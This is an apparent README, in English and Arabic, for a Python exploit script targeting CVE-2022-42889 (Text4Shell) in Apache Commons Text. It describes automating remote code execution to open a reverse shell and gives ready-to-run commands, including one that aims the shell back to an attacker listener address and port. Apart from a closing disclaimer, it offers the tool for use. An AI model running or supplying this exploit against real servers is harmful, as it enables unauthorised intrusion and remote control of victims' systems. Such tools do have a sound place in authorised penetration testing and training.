
Proof of Concept (PoC) for CVE-2022-42889 (Text4Shell) targeting Apache Commons Text versions prior to 1.10.0. This script automates Remote Code Execution (RCE) via script interpolation to establish a reverse shell. This version is a structured optimization based on the original exploit found at Exploit-DB (ID: 52261).
هذه الأداة هي أداة اختبار اختراق مصممة لاستغلال الثغرة الأمنية CVE-2022-42889، والمعروفة أيضًا باسم Text4Shell، في مكتبة Apache Commons Text (الإصدارات < 1.10.0). تقوم بأتمتة إرسال حمولة (payload) بلغة Java لتفعيل شل عكسي (reverse shell).
يعتمد هذا التطبيق على الاستغلال العام المنشور على: https://www.exploit-db.com/exploits/52261
يتطلب السكريبت Python 3 ومكتبة requests.
pip install requests
python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT
python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139
هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. المؤلف غير مسؤول عن أي استخدام خاطئ أو ضرر يسببه هذا السكريبت.